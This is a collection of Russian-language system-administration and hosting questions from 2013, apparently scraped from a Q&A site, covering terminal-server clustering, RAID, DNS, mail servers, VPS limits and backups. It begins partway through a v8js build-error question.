/private/tmp/pear/temp/v8js/v8js.cc: At global scope: /private/tmp/pear/temp/v8js/v8js.cc:1284: warning: deprecated conversion from string constant to ‘char*’ make: *** [v8js.lo] Error 1 ERROR: `make' failed

Расширение упорно не хочет получать версию v8
checking for V8 version... NONE ... /private/tmp/pear/temp/v8js/v8js.cc:1239: error: ‘PHP_V8_VERSION’ was not declared in this scope

Кто удачно ставил на FreeBSD и какие версии?
 

2013.06.12, 16:27:15   #Серверы - #41726


Доброго времени суток!

Руководством была поставлена нетривиальная для меня задачка просчитать затраты (без фанатизма) на перевод части офиса на тонкие клиенты (порядка 40 пользователей). Решение должно быть отказоустойчивое и масштабируемое.

Вопрос пока что про схему работы сервисов и общий принцип построения решения.


Пока что в голове крутится два решения:

1) Терминальный сервер

2) Сервер с виртуалками


Пока склоняюсь к первому решению, но опыта внедрения и поддерживания ни первого, ни второго не имею. Поэтому постараюсь изложить свою идею и с удовольствием услышу от вас, что не прав :)


На трех серверах поднимается служба Remote Desktop Services и Remote Desktop Connection Broker, которые в свою очередь объеденяются в кластер. Имеем единую точку входа (виртуальный ИП) куда подключаются пользователи и их перебрасывает на один из серверов. В случае выхода из строя одиного из серверов — клиенты переподключатся на другой сервер (к сожалению, не прозрачно. Будет разрыв сессии) Почему три — чтобы был запас по ресурсам в случае отказа одного узла. В случае увеличения ресурсов — в кластер вводится еще один сервер и все.


Пользовательские Папки и профили — на двух файловых серверах с настроенной службой DFS и репликация между ними. Имеем единую точку входа и точную копию всего в случае выхода из строя одного из серверов (естественно не отменяя резервное копирование)

Нарисовалась даже вот такая схема:



Итого мы имеем 5 серверов. Вопрос по терминальным лицензиям — их нужно на кол-во пользователей или придется закупать их по 40 штук на каждый сервер? И как в целом идея? Есть что нибудь с меньшим кол-вом ресурсов?


Вариант с сервером виртуалок кажется мне чуть менее выгодным с точки зрения ресурсов и лицензий. Однако с удовольствием выслушаю любые замечания.


Еще раз озвучу вопрос — Какие есть схемы для отказоустойчивых терминальных решений?

Спасибо)
 

2013.06.13, 10:37:44   #Системное администрирование - #41768


Интересует вопрос настройки CISCO UCS Software Embedded Raid (UCSC-RAID-ROM55).

В документации CISCO упоминается ссылка на документацию LSI (User Guide). Guide не особо свежий (полтора года) и хотелось бы уточнить у знающих касательно актуальности некой информации.


Этот тип RAID подразумевает установку доп. драйверов для Windows или Linux. Для Windows все более-менее просто — подключается флешка с закачанными драйверами, а вот ситуация с Linux (RedHat) вызывает некие вопросы. В частности упоминается использование floppy дискеты.


Получается что в 2013 году для настройки современного сервера пользователь должен где-то найти флопик и дискету к нему? Как производитель видит процесс конфигурации данного типа Raid? Может у кого-то есть опыт работы с железом в такой конфигурации.


Спасибо!
 

2013.06.13, 19:26:59   #Серверы - #41804


Домены прописаны корректно, саппорт это подтвердил. Для домена old.site.com указано «old A 1.2.3.4»
периодически домен начинает пропадать с некоторых dns серверов в самых разных местах, а где-то ок
Сам домен второго уровня site.com отдается без проблем всегда. Выглядит проблема так:

; DiG 9.8.4-rpz2+rl005.12-P1 old.site.com @тутвсякоепробовал
;; global options: +cmd
;; Got answer:
;; ->>HEADER
 

2013.06.13, 23:13:45   #Серверы - #41816


Есть сервер. На нем стоит сервер-программа, которая открывает определенный порт. К программе подключаются клиенты, которые остаются висеть — держать соединение. Допустим их сто штук, и каждый из них имеет уникальный серийный номер, который передается при подключении или по запросу, не суть важно. Каким образом мне обратиться к конкретному клиенту, если я знаю его серийный номер?
 

2013.06.14, 20:54:51   #Системное администрирование - #41884


Недавно арендовал VPSку под управлением OpenVZ для стресс-тестинга проекта (да, не самое подходящее решение, но всё лучше, чем нагружать домашний мамонтоподобный системник), запустил интеграционную симуляшку на ночь, а утром получил на почту письмо счастья — «Your server was suspended for the CPU Abuse». После продолжительного разговора с саппортом, на протяжении которого меня несколько раз ткнули носом в пункт про «Fare share of resources», ничего, что помогло бы мне гарантированно не получать в будущем такие письма, я так и не услышал. Нужна помощь — как защититься, как по-простому включить ограничение на объём доступных для пользователя ресурсов (самое подходящее, что нашёл — cpu sets, но мороки с ними… Хочется что-нибудь более «изкоробочное», чтобы после очередного аппокаллипсиса не вспоминать в спешке, как же оно поднималось).
 

2013.06.16, 09:05:00   #Серверы - #41938


Встал вопрос о выборе сервера для нейтронного монитора на антарктической станции.

Требования:
Температура функционирования от нуля градусов Цельсия и выше.
Невысокое энергопотребление.
Надёжность, конечно же.
Суперпроизводительность не нужна.

Я остановился на Supermicro SuperServer 5017A-EP или чём-то подобном на Атоме.
Заявленный диапазон рабочих температур от +10 С до +35 С.

Главный сейчас вопрос таков: как поведёт себя сервер при температуре около нуля? Есть ли возможность повысить надёжность при низких температурах? Мне пока пришла в голову только замена магнитных жестких дисков на SSD, но и к ним тоже есть вопросы.

Буду рад любым дельным советам! Если есть альтернативные варианты компьютеров — предлагайте!

P. S. Дополнительный вопрос: Магнитные диски или SSD являются более надёжным решением для долговременного хранения информации при температуре +0 — +10 С? Дописываемые объемы данных небольшие (десятки мегабайт в сутки). Планируется RAID 1.
 

2013.06.16, 13:28:20   #Системное администрирование - #41952


Есть сервер под Windows 2008 на котором работают несколько юзеров. Хочется на нем поднять виртуалку с тестовым сервером для веб-разработки. Чтобы быть более «приближенным» к реальным условиям, нужно сделать возможность захода на тестовый сервер по основному доменному имени. Это легко можно сделать прописав соответствующие настройки в hosts, но они будут работать для всего сервера, а нужно, чтобы работали только у одного юзера. Как это можно сделать?
 

2013.06.20, 09:46:06   #Системное администрирование - #42186


Доброго времени суток!
Собственно, приходят письма с несуществующим адресом получателя и недействительным обратным адресом :)
Если мы отправляем письмо об ошибке, то в итоге плодим спам т.к. получатель то недействительный…

Подскажите, как в связке Postfix+Amavisd-new:
1. Отключить отправку сообщений «User unknown»
2. Вовсе не принимать сообщение, если хотя бы одного получателя нет на сервере
 

2013.06.23, 00:21:11   #Хостинг - #42322


Мигрирую от одного DNS-менеджера к другому, как вдруг обнаружил что почти все последний месяц так или иначе борятся с DDoS-ом. А именно, пропиаренный на хабре ypdns, далее entrydns, еще cloudns и дальше по списку выдачи google-a по запросу «free dns manager».

Собственно вопрос из любопытства кто и зачем это делает?

Также прошу рекомендацию бесплатного DNS менеджера.

Спасибо.
 

2013.06.23, 16:13:44   #Системное администрирование - #42342


Доброго времени суток, хабровчане!


Есть почтовый сервер внутри сети на котором вертится postfix, который хранит список пользователей в mysql базе.


Задача — поставить почтовый релей, который смотрит в интернет и принимает только те сообщения, которые адресованы пользователям из postfix, ну и доставлять на веншние сервера письма пользователей postfix. Выружать список пользователей могу кроном и в любом виде доставлять на почтовый релей.


Если кто-нибудь сталкивался с такой задаче — порекомендуйте решение на основании какого-либо MTA (postfix, sendmail, exim) или может подскажете ключевой момент конфига — проверку пользователей по списку-sql запросу или ещё чему.

Если есть непубличные ответы или догадки-предложения — буду рад, если напишете личное сообщение.
 

2013.06.24, 17:34:38   #Системное администрирование - #42396


Добрый день.


Никак не могу найти как удалить сертификат, гугл в основном показывает как «заглушить», а мне бы удалить нормально и по новой запросить, на новых машинах все работает.


сервер на debain 5


в /etc/ssl/certs очень много файлов, какой из них удалять непонятно.

site:~# curl -Iv https://***.**/*** * About to connect() to *** port 443 (#0) * Trying ***... connected * Connected to *** (***) port 443 (#0) * successfully set certificate verify locations: * CAfile: none CApath: /etc/ssl/certs * SSLv3, TLS handshake, Client hello (1): * SSLv3, TLS handshake, Server hello (2): * SSLv3, TLS handshake, CERT (11): * SSLv3, TLS alert, Server hello (2): * SSL certificate problem, verify that the CA cert is OK. Details: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed * Closing connection #0 curl: (60) SSL certificate problem, verify that the CA cert is OK. Details: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed More details here: http://curl.haxx.se/docs/sslcerts.html curl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). The default bundle is named curl-ca-bundle.crt; you can specify an alternate file using the --cacert option. If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL). If you'd like to turn off curl's verification of the certificate, use the -k (or --insecure) option.
 

2013.06.26, 04:51:39   #Системное администрирование - #42470


Сломал всю голову над такой проблемой:

Имеем nginx 1.5.0 с включенным SSL и авторизацией пользователей через сертификаты (ssl_verify_client optional).

При входе через https происходит попытка авторизации через сертификат (не важно успешно или нет), после этого устанавливается ssl сессия и результат авторизации сертификата клиента сохраняется в нее.


Вопрос: Как закрыть сессию принудительно (unlogin короче), чтобы окно выбора сертификата опять появилось?!

Хитрый заголовок? Директива nginx? JavaScript со стороны браузера? Еще чтото?

Заранее спасибо за любые мысли в эту сторону.
 

2013.06.27, 11:04:43   #Системное администрирование - #42560


Как завершать соединение с клиентом по наступлению события? Например, окончание времени доступа?
Т.е. не ждать пока клиент сам завершит сессию?

Или, например, скрипт смотрит каждые 5 минут какого клиента во сколько надо отключить и дает задание/запрос openVPN-серверу на отключение данного клиента.

Авторизация по логин+пароль или логин+пароль+сертификат.
 

2013.06.27, 12:52:04   #Хостинг - #42572


Имеется интернет магазин, создан на платформе Opencart 3.5.1, при запросе любой страницы время ожидание достигает 5 секунд.
Магазин висит на вдске Процессор: 800 МГц Память: 768 Мб. FreeBSD, Apache.
В ISP-manager средняя загрузка процессора редко превышает 5%, памяти 130-150 мб используется
На этой же вдске висит wordpress время отклика меньше 70 мсек.

Раньше все было гуд, все что было изменено это добавление товаров(около 150 шт.) и текстовых статей.

В какую сторону копать для решения проблемы?

Всем большое спасибо за советы!
Вопрос решился установкой и корректной настройкой nginx!
В итоге имею время полной загрузки составляет 1,58 секунд, при этом время ожидания ответа 500-700 мсек. что на данный момент моим требованиям достаточно.
 

2013.06.27, 14:51:17   #Системное администрирование - #42580


Подскажите пожалуйста, возможно ли заставить Zabbix поддерживать html-тэги в модальном окне, куда идёт весь вывод какого-либо внешнего скрипта?
 

2013.06.27, 14:52:04   #Системное администрирование - #42582


Встала необходимость в покупке железки для использования в качестве шлюза в интернет для, примерно, 500 пользователей компании.

Требования к шлюзу:

1. Стабильность работы.

2. Простота настройки (web интерфейс, ssh)

3. Возможность подключения 2х и более каналов интернет по Ethernet.

4. Возможность настройки автоматического переключения каналов

5. Балансировка нагрузки между каналами.

6. Возможность авторизации PPPoE у провайдера интернет.

7. Порты 100/1000 mbit/s


Данную железку планируется использовать для непосредственного шлюза в интернет, через который будут подключаться сервера VPN, Voip, Proxy.

Фактически, нужна довольно тупая железка, которая будет раздавать интернет независимо от того, упала связь на одном из каналов или нет.


Собственно вопрос: "%username%, можешь чтото посоветовать?"
 

2013.06.27, 17:38:18   #Хостинг - #42594


Хочу поднять свою доменную зону второго уровня для регистрации доменов третьего уровня. Хочется попробовать себя в администрировании free-зоны. Понятно все, кроме whois'а. Например, мой домен freezone.com. Поднят свой whois-сервер. Каким образом перенаправлять whois-запросы с интернета на мой whois-сервер для всех доменов *.freezone.com?
 

2013.06.27, 17:49:27   #Системное администрирование - #42596


Как с помощью SCCM сделать driver package для конкретной модели ноутбука (несколько тысяч штук) и устанавливать это все вместе с Windows централизовано? Сами драйверы есть, хоть и в exe виде.
 

2013.06.27, 21:12:28   #Системное администрирование - #42608


Вижу в логах множество одинаковых POST-запросов. Обычно всё начинается с того, что живой пользователь смотрит какую-то страницу page, а затем начинаются POST-запросы на адрес page/edit. Поскольку такой страницы у меня нет, в логах появляются бесконечные 404 такого вида:

[27/Jun/2013:14:20:06] ***.ru 0.019s &quot;POST /page/edit HTTP/1.1&quot; 404 1678 &quot;http://***.ru/page/&quot; &quot;Opera/9.80 (Windows NT 6.1; WOW64; MRA 5.9 (build 4832)) Presto/2.12.388 Version/12.14&quot;


Частота запросов иногда доходит до 8 в секунду. Каждая сессия продолжается несколько часов. Иногда мои скрипты это банят за слишком большую частоту.


Не думаю, что от этого флуда в логах есть какой-то вред. Мне просто интересно: что это такое, черт возьми? Зачем чья-то Opera (это чаще всего опера) делает десятки тысяч запросов к несуществующим страницам моего сайта? В интернете нашел только одно упоминание похожей ситуации, но там нет ответов на мои вопросы.
 

2013.06.28, 08:18:39   #Системное администрирование - #42614


Подскажите, пожалуйста.Ситуация следущая: была два хоста с mysql сервером Host1 и Host2. В один прекрасный момент возникла потребность переноса базы данных db1 с host1 на host2. Было осуществленно копирование db1 на host2. Как можно перенести элемент данных с host1 на host2 c сохранением старых данных?
 

2013.06.28, 16:56:19   #Системное администрирование - #42644


Доброго времени суток, друзья!


Я хотел бы спросить совета у мудрых и всезнающих по следующей проблеме:


Возникла блажь соорудить/купить домой собственную серверную стойку, небольшую, высотой где-нибудь в 10-16 юнитов, куда, соответственно, установить один-два-три-бесконечно железяк под изучение/эксперименты.

Сложность в том, что я пока не гуру железа и администрирования, потому, собственно, и загорелся тем, чтобы собрать себе дома испытательную площадку-песочницу для организации собственной архитектуры.


Использовать весь этот зоопарк предполагается примерно следующим способом: будут создаваться различные контейнеры-впсы под различные нужды со своими лимитами, в частности, APP-контейнеры, контейнеры с базами данных, контейнеры с другими плюшками (вроде жаббера, поискового движка или еще чего), и другие прочие.


Соответственно, вопрос, состоящий из двух:


1) Какие вы бы могли мне посоветовать не дорогие железяки начального уровня, в меру «крепкие», чтобы с ними можно было играться и чтобы на них взлетали различные веб-проекты на современных технологиях, но в то же время не топовых уровней, чтобы не переплачивать за кучу различных технологий, которые и вовсе не нужны будут при организации веб-приложений?


2) Какой способ создания готовых настраиваемых контейнеров различных уровней (например, APP-контейнер с апачем и пхп, и контейнер с базой данных PostgreSql) вы можете посоветовать?


Заранее спасибо за любые ответы! Всем хорошей пятницы :)
 

2013.06.29, 16:26:07   #Системное администрирование - #42680


Добрый день!

Может ли кто-нибудь посоветовать компании, которые занимаются разработкой плана аварийного восстановления ИТ инфраструктур?

Спасибо
 

2013.06.29, 19:14:41   #Серверы - #42686


Встала очень срочная задача создать почтовый сервер для дочерней компании.
Мне на практике знаком только Exchange, который в данном случае не вариант, так как компания без инфраструктуры АД.
В своё время заочно встречался с Mdaemon и Kerio mail что то там, но было это в далёком 2005.
В понедельник буду приступать к тестам всего, что найду. Вопрос к сообществу, что тестировать и что хорошего появилось за последние 8 лет?

По самим серверам. Серверов будет 3 штуки, для разных доменов. Всё планируется на разные виртуалки/физические сервера с базовой системой Windows 2008R2/2012, скорее даже последняя, так как от самой операционной системы практически ничего не требуется, кроме стабильности и регулярности выхода заплаток. С учётом того, что почтовые сервера часто не меняются, думаю брать последнюю операционную систему, для более долгой поддержки со стороны Microsoft.

Касательно виртуалок\физических серверов вопрос до конца не решён, тут я жду ответа наших юристов, так как сами сервера для разных юр лиц, сразу возникают вопросы лицензирования мелкомягких. Поэтому скорее всего различное живое железо.

По самим вводным для почтовиков.

На каждом до 50 пользователей, с возможностью расширения до 100. При этом одновременных сессий не более 20 на сервер.
Пользователи живут на imap, почта хранится на серверах. Почтовые ящики до 10 Гб.

Программный продукт должен поддерживать миграцию почтовых ящиков с mdaemon, так как в них архив почты с 2000 года.

Буду благодарен за любые рекомендации по данной тематике, включая железную составляющую (какие сервера покупать)
 

2013.06.30, 20:56:02   #Системное администрирование - #42738


Доброго времени суток!
Часто приходится работать по ssh. Есть заготовленный файл в ~/.ssh/config, где прописаны интересующие сервера, логины, алиасы для серверов.
В Midnight Commander при соединении с удаленным сервером сразу оказываешься в корневом каталоге удаленного сервера (при работе по FTP или же SSH, но из консоли — в домашнем каталоге пользователя). Как-то можно сделать, чтобы MidnigtCommander при соединении по ssh оказывался с домашнем каталоге пользователя?
 

2013.07.01, 21:58:49   #Серверы - #42798


Привет,
Я — разработчик, и многие мои хобби вращаются вокруг компьютеров. В частности, для разных моих поделок дома у меня работает небольшой сервер на старом железе. Спецификой наверное любого персонального домашнего сервера является обилие разной мелочи, раскиданной по нему, сервисов различной направленности, например, MySQL и PostgreSQL, или RoR- и Django-приложения по соседству на одной домашней машине — это нормально; чего не встретишь во взрослом продакшне, где у железок своя специализация и быстрый ввод в строй новой ноды — штатная процедура.
Некоторые данные на моем сервере, как и положено, представляют для меня весьма существенную ценность, и потерять их было бы жалко.
Поэтому я делаю бэкапы. Бэкапы я делаю с помощью Duplicity и храню их на NAS-е. Устраиваю себе периодически небольшие учения, проверяя процедуру восстановления из бэкапов и целостность бэкапов, возможность восстановить БД из дампов, наличие конфигов и всё такое. Делаю это, когда случайно находится небольшой кусочек свободного времени. И теперь я подхожу к сути вопроса: ручное восстановление из бэкапа даже небольшой части моего небольшого зоопарка — это очень муторная процедура, которая, при нехватке времени, может занимать (я говорю о полном восстановлении) — несколько вечеров…

Итак, исходные данные:
домашний сервер под управлением Linux. Например, вездесущий Ubuntu Server; второсортное потребительское железо, готовое отказать в любой момент, а может сыпаться по чуть-чуть несколько недель подряд (я говорю в первую очередь про жесткие диски); другое второсортное железо, совсем не похожее на первое, имеющее совсем другую конфигурацию вплоть до архитектуры процессора (например, был старый ноутбук с Intel Core2Duo с механическим жестким диском, а стал одноплатный миникомпьютер с четырехядерным ARM Cortex-A7 и SSD); обилие сервисов (веб-сервер, субд, питоны и руби специфичных версий, репозитории кода и т.д. и т.п.) и мелких кусочков того или иного софта и данных, разбросанных по серверу.

Хочется: соблюдая для себя, если это потребуется, какую-то несложную дисциплину или алгоритм действий иметь такую резервную копию, из которой восстановление даже в совершенно непохожей среде (разве что версия ОС, но не платформа, останутся теми же) занимало бы минимум ручного труда. При этом, конфигурирование и внедрение такой системы резервного копирования само по себе так же должно занимать минимум усилий (я не ленивый, это вопрос приоритетов :)).

Самый приятный из придуманных мной вариантов — это делать deb-пакеты со своими конфигурациями, данными и правильно проставленными зависимостями. Группировать их в репозиторий, а репозиторий держать на NAS-е. Пересобирать пакеты по расписанию, включая мета-пакет «разбэкапить всё». Очень красиво, но, чую, жутко трудоемко.

Посоветуйте, пожалуйста, материалы на тему резервирования и восстановления, специфичные для моей задачи, и, если имеются, готовые решения.
Спасибо!
 

2013.07.03, 15:57:38   #Хостинг - #42902


Пытаюсь настроить DNS для heroku.

1 — Зарегистрировал домен у 2domains.ru (домен типа mydomen.ru)

2 — добавил в heroku для приложения домены (www.mydomen.ru, mydomen.ru)

3 — добавил в админке 2domens.ru для своего домена 2 записи CNAME (@ CNAME herokuapp.com, www CNAME herokuapp.com)

www.mydomen.ru работает, а mydomen.ru — нет, Есть мысли?


(больше никаких DNS записей нет)
 

2013.07.04, 19:25:49   #Системное администрирование - #42968


Посоветуйте почтовый сервер и работающий с ним спам-фильтр для Windows Server 2008 x64. Или же поделитесь опытом настройки почты на WinServer'е.

На данный момент использую hMailServer + SpamAssassin (sawin32), выглядит как-то костыльно. sawin32 не видит настроек local.cf отчего-то (в частности самый важный параметр required_score), работает только с POP3 и вообще устарел. А хочется, чтобы спам был в папочке Spam у пользователя, для чего, насколько я понимаю, нужен спам-фильтр с поддержкой IMAP.
 

2013.07.06, 16:56:41   #Серверы - #43040


Возможно мой вопрос глуп (я и сам понимаю, что скорее всего глуп), но всё же нужно это откуда-то узнать, а поиск не даёт внятных результатов.
Имеется сервер арендуемый в Германии с установленной на нём Ubuntu Server 10.04 LTS и всякими штуками: Apache, nginx, PHP, MySQL, Java (для сервера Minecraft), exim, dovecot, bind.
И хочется мне обновить ОС до 12.04 LTS, но вот за всё время, что арендую сервер ни разу не выполнял обновление и поэтому не знаю, безопасно ли будет обновить через do-release-upgrade? Как лучше будет произвести обновление (понятно, что во время минимального кол-ва посетителей сайтов и сервера Minecraft, но может есть ещё какие-нибудь подводные камни?)
 

2013.07.07, 04:54:35   #Хостинг - #43054


Здравствуй хабр. Гугл сегодня меня не любит и я обращаюсь к тебе.


Посоветуй пожалуйста годный DNS-хостинг с контролируемым Round Robin, то бишь куда можно натыкать 5 A записей, а хостинг будет их хотя бы раз в пару часов чекать на доступность и убирать отвалившиеся.
 

2013.07.07, 11:33:28   #Системное администрирование - #43062


Добрый день.

Подтолкните пожалуйста в сторону верного решения.

Задача:
Выпустить пользователя в Интернет с терминального сервера максимально обезопасив сам сервер от возможного заражения.

Вижу следующие варианты:
1) Классический: Режем все возможные права и тюним права на запись в различные директории + антивирус с фаерволом + какой-нибудь интересный проксик)
(Минусы: Долго тюнить + стоимость антивируса и проксика)

2) Извратный: Запускаем браузер как RemoteApp с другого сервера, который является виртуальным и откатывается к дефолтному состоянию к примеру раз в в сутки.
(Минусы: Стоимость серверной лицензии (Server 2008R2/2012))

Будем считать что аппаратные ресурсы на кластере виртуализации расходуются в обоих вариантах примерно одинаково.

Можно ли опубликовать приложение бесплатными средствами? Или как-то еще интереснее решить данную задачу?
 

2013.07.08, 11:44:52   #Системное администрирование - #43104


Подскажите, кто нибудь пробовал делать схему сети через Zabbix? Именно схему, что бы можно было нарисовать кабинет, в нем стоят такие то ПК, рядом свитч и так далее. На данный момент получается только расставить оборудование, а вот как разметить помещения?
Например как тут:


Спасибо
 

2013.07.08, 16:26:00   #Хостинг - #43114


Был зарегистрирован аккаунт на мои данные (ФИО, почтовый адрес и т.д.) в hetzner.de. Но карта для оплаты платежей использовалась друга. Примерно 2 месяца назад решили прекратить использовать сервер ну и соответственно не оплачивали счета. За это время мне на почту приходили письма, о том, что ребята из hetzner, не могут списать средства с карты. Я на это забил, ибо думал, что услуги они заблокируют автоматом и все. Но как оказалось, это не так. Даже если счета не оплачиваются, а отказ от сервера не был задействован в ручную, мне все равно надо оплатить эти счета. В саппорте ссылаются на договор оферту www.hetzner.de/hosting/legal/agb и что там все четко расписано, хотя то, что сервер заблокируется даже в случае задолженности я не нашел на их сайте. То что в панели есть кнопка cancelled я знаю.
Посоветуйте пожалуйста, что делать в данной ситуации, ибо оплачивать то, чем я не пользовался как то не очень хочется.
 

2013.07.11, 22:41:25   #Системное администрирование - #43314


Исходные данные: терминальный сервер на базе core i7 (знаю, что нищебродство, но на другое денег нет) на 15 пользователей. Пятеро работают в 1С, пятеро в специализированном CAD, остальные в ms office. Сейчас стоит 32 GB X25-E INTEL SSD в качестве системного диска и два sata III терабайтника под данные.
Требуется: создать «относительно» безотказную файловую систему (по поводу других комплектующих речь пока не идет).

Прочитав обзор RAID контролеров на одном из сайтов (не буду указывать источник — он легко гуглится). Остановился на Adaptec 6405E — устраивает по цене и возможности создавать гибридные системы. Так же планирую заказать два INTEL SSD серии S3500 (кстати, где взять в Украине? На ebay 160 gb стоит $214 + $60 доставка, что не сильно радует). Вот тут описаны варианты использования.
Теперь вопрос: — Как лучше организовать массив? Либо делать классику: два массива RAID 1: один на SSD под систему, второй на SATA под данные; либо как описано в руководстве Adaptec в примере 4, но я, честно говоря, не понял преимущества перед классикой. Может быть кто-нибудь сталкивался с данным контролером и может пролить свет на мои вопросы?
 

2013.07.12, 00:47:37   #Хостинг - #43318


Задача состоит в следующем.
Надо сделать платный видеоканал, на котором можно было бы выкладывать уже существующие видео с мероприятий.
Также должна быть возможность онлайн трансляции мероприятий.
Такие сервисы конечно существуют. К примеру www.twitch.tv/
Только вот у нас тематика Вегетарианство, Сыроедение и вообще все что связано со здоровым образом жизни.
Вторую ночь серфю и не могу понять в какой сервис податься.
Слышал, что на ютубе уже появились платные каналы, но они доступны только вне нашей большой родины.
В общем если кто сталкивался с такой проблемой — маякните плиз.
Очень надо=)
 

2013.07.16, 17:22:55   #Системное администрирование - #43564


Чем можно (и лучше?) реализовать фильтрацию интернет трафика по ключевым словам, в linux/bsd? Желательно максимально простое решение. Плюсом будет open source.
 

2013.07.19, 20:31:04   #Серверы - #43754


Здравствуйте, посоветуйте пожалуйста конфигурацию сервера или СХД для хранения данных объем 2-4 Тб (RAID 5), в данный момент есть NAS Qnap TS-459 Pro II, с двумя зеркалами, его думаю использовать в качестве бекапа?
Платформа желательно Supermicro. И если возможно еще UPS для всей этой радости.
Заранее огромное спасибо.
 

2013.07.20, 11:57:48   #Хостинг - #43770


Подскажите у кого есть опыт, как развернуть сабж?

Пробовал это — github.com/tomasmuller/openshift-neo4jtemplate
Пока не осилил.
В частности не понятен 8-й (что именно должна содержать переменная окружения, и где ее устанавилвать, в action_hooks) и 9-й пункты (здесь происходит запуск jetty, но на локальной машине как я понял, а смысл?).

Или подскажите где еще можно бесплатно захостить Neo4j?
 

2013.07.22, 20:17:35   #Серверы - #43874


Доброго времени суток. Господа, подскажите какие-нибудь маны по тому, как разработать свой сервер, что-то наподобие Selenium. Хочется именно свой велик, а не брать готовый. Спасибо.

P.S. Или не заморачиваться с поиском и залезть в исходники готовых продуктов и использовать их в качестве руководства?
 

2013.07.23, 13:31:31   #Хостинг - #43908


Беглое гугление дало понять, что данный хостер предоставляет из windows-семейства только серверную систему в помесячную аренду. Требуется заинсталлить и пользовать Windows XP (скажем, коробочную версию, купленную по-честному у партнера). Техническая сторона реализации не важна. Вопрос по юридической: необходимо предоставить лиценз. документы перед установкой, чтобы не попасть под горячую руку и потерять аккаунт? И вообще существует ли такая возможность? Заранее спасибо
 

2013.07.24, 09:32:57   #Системное администрирование - #43976


По какому принципу устроена работа онлайн сервисов (например, ucoz), на основе которых создаются «сайты», доступные (при определённых условиях) через прикреплённый пользователем домен?


Я так понимаю, на сервисе по определённому адресу доступен «ребёнок», а веб-сервер настроен таким образом, что прикреплённый домен является алиасом к этому адресу?


Например, server/ — сервис, server/~user/ == userdomain/?
 

2013.07.24, 15:57:12   #Системное администрирование - #43994


Всем добрый день!

Совершенно неожиданно столкнулся с проблемой совместимости Windows server 2012 и SAS контроллеров Adaptec 1045.
Ситуация следующая:

Сервер Win 2012 St
На сервере установлено 2 SAS контроллера adaptec 1045
К контроллерам подключена 2х приводная ленточная библиотека
Установлены последние драйвера с сайта.

При отключенном соединении с библиотекой все норм загружается.


При подключении SAS кабелей — висит на загрузке.

До этого стоял 2003 x64 — таких проблем не было.

Может сталкивался кто???
 

2013.07.24, 21:15:58   #Системное администрирование - #44014


Имеется:
— выделенный сервер
— 5 ip-адресов
— 1 домен

Нужно организовать массовую рассылку с веб-интерфесом (рассматриваю покупки или написание).
Идея такая чтоб не попасть в блек-лист хочу рассылку вечти поочередно по 5 ip.
 

2013.07.25, 01:56:57   #Системное администрирование - #44024


Таки как? Нагуглить удалось только упоминания о существовании способов, но не сами способы, а так же рабочий способ включения консоли локальных группов.... Подскажите, пожалуйста, как вернуть нормальную консоль пользователей. Заранее спасибо.


PS: Про «net user» и «net localgroup» сам знаю :-)
 

2013.07.26, 06:57:20   #Системное администрирование - #44076


Добрый день, уважаемые.

Есть такая занимательная задачка. Если у кого есть опыт ее решения, поделитесь, пожалуйста.

1) Перед сдачей в утилизацию списанного системного блока необходимо уничтожать НЖМД.
2) Уничтожение НЖМД подтверждается актом уничтожения.
3) Системные блоки приходуются целиком, на комплектующие не расписываются.

Приходит в голову провести разукомплектацию компьютера и поставить НЖМД на баланс, но (см. п. 1) системный блок уже имеет нулевую стоимость, на баланс ставить нечего. Затык.

Если кто-то может поделиться алгоритмом решения или указать вектор — буду очень признателен.

Пояснение

Есть организация. В сети организации циркулирует конфиденциальная информация. В основном — коммерческая тайна.
Утилизация системных блоков производится вместе с HDD.

Оборот системников довольно большой, бюрократия довольно жесткая. Разбирать системник при приходовании, учет HDD и т.п. (ну, то есть так, как оно и должно быть, на самом деле) — создать большой геморрой… Ну хотя еще больший геморрой — убедить, что это надо делать.
Системники приходуются целиком, комплектующие не учитываются.

Задача на данный момент — сделать так, чтобы система работала, потом потихоньку привести в идеальное состояние.

Необходимо формализовать процесс выемки жестких дисков из всех системников перед передачей в утилизацию.
Вопрос уперся в бухгалтерию (потому что был системник, а тут вдруг начинает делиться на системник и HDD).

Вопросы:
1) Должно ли это вообще упираться в бухгалтерию?
2) Если должно, то как проводится по бухгалтерии (одна из предложенных схем — в уточнении вопроса).
 

2013.07.26, 12:04:53   #Системное администрирование - #44088


Добрый день.

Пытаюсь настроить на mail.ru забор почты по POP3 со своего почтового сервера(postfix+dovecot).

С этого же сервера успешно забирают почту Gmail, Яндекс и TheBat, никогда никаких проблем не было.

Но Mail.ru ругается: «Соединение с сервером прошло успешно, но авторизоваться не удалось. Проверьте правильность имени ящика и пароля. „

В логах видно, что PAM не может найти пользователя. Естественно пользователь есть, да и другие клиенты авторизуются без проблем. Может кто-то уже сталкивался с подобным?

Нужен вариант именно с авторизацией через PAM.

В mail.log

Jul 26 12:32:26 actionlist dovecot: auth: Debug: auth client connected (pid=24277)
Jul 26 12:32:26 actionlist dovecot: auth: Debug: client in: AUTH 1 PLAIN service=pop3 lip=my_ip rip=209.85.219.7 lport=110 rport=64292 resp=Jul 26 12:32:26 actionlist dovecot: auth-worker: Debug: pam(info_ru,209.85.219.7): lookup service=dovecot
Jul 26 12:32:26 actionlist dovecot: auth-worker: Debug: pam(info_ru,209.85.219.7): #1/1 style=1 msg=Password:
Jul 26 12:32:26 actionlist dovecot: auth: Debug: client out: OK 1 user=info_ru
Jul 26 12:32:26 actionlist dovecot: auth: Debug: master in: REQUEST 2905735169 24277 1 877cd6d625b192aba5f3bf7be8ec2c38
Jul 26 12:32:26 actionlist dovecot: auth: Debug: passwd(info_ru,209.85.219.7): lookup
Jul 26 12:32:26 actionlist dovecot: auth: Debug: master out: USER 2905735169 info_ru system_groups_user=info_ru uid=1016 gid=1016 home=/home/info_ru
Jul 26 12:32:26 actionlist dovecot: pop3-login: Login: user=, method=PLAIN, rip=209.85.219.7, lip=my_ip, mpid=24278
Jul 26 12:32:27 actionlist dovecot: pop3(info_ru): Disconnected: Logged out top=0/0, retr=1/4701, del=0/147, size=41960151

В auth.log

Jul 26 12:31:29 actionlist auth: pam_unix(dovecot:auth): authentication failure; logname= uid=0 euid=0 tty=dovecot ruser=info rhost=217.69.128.71 user=info
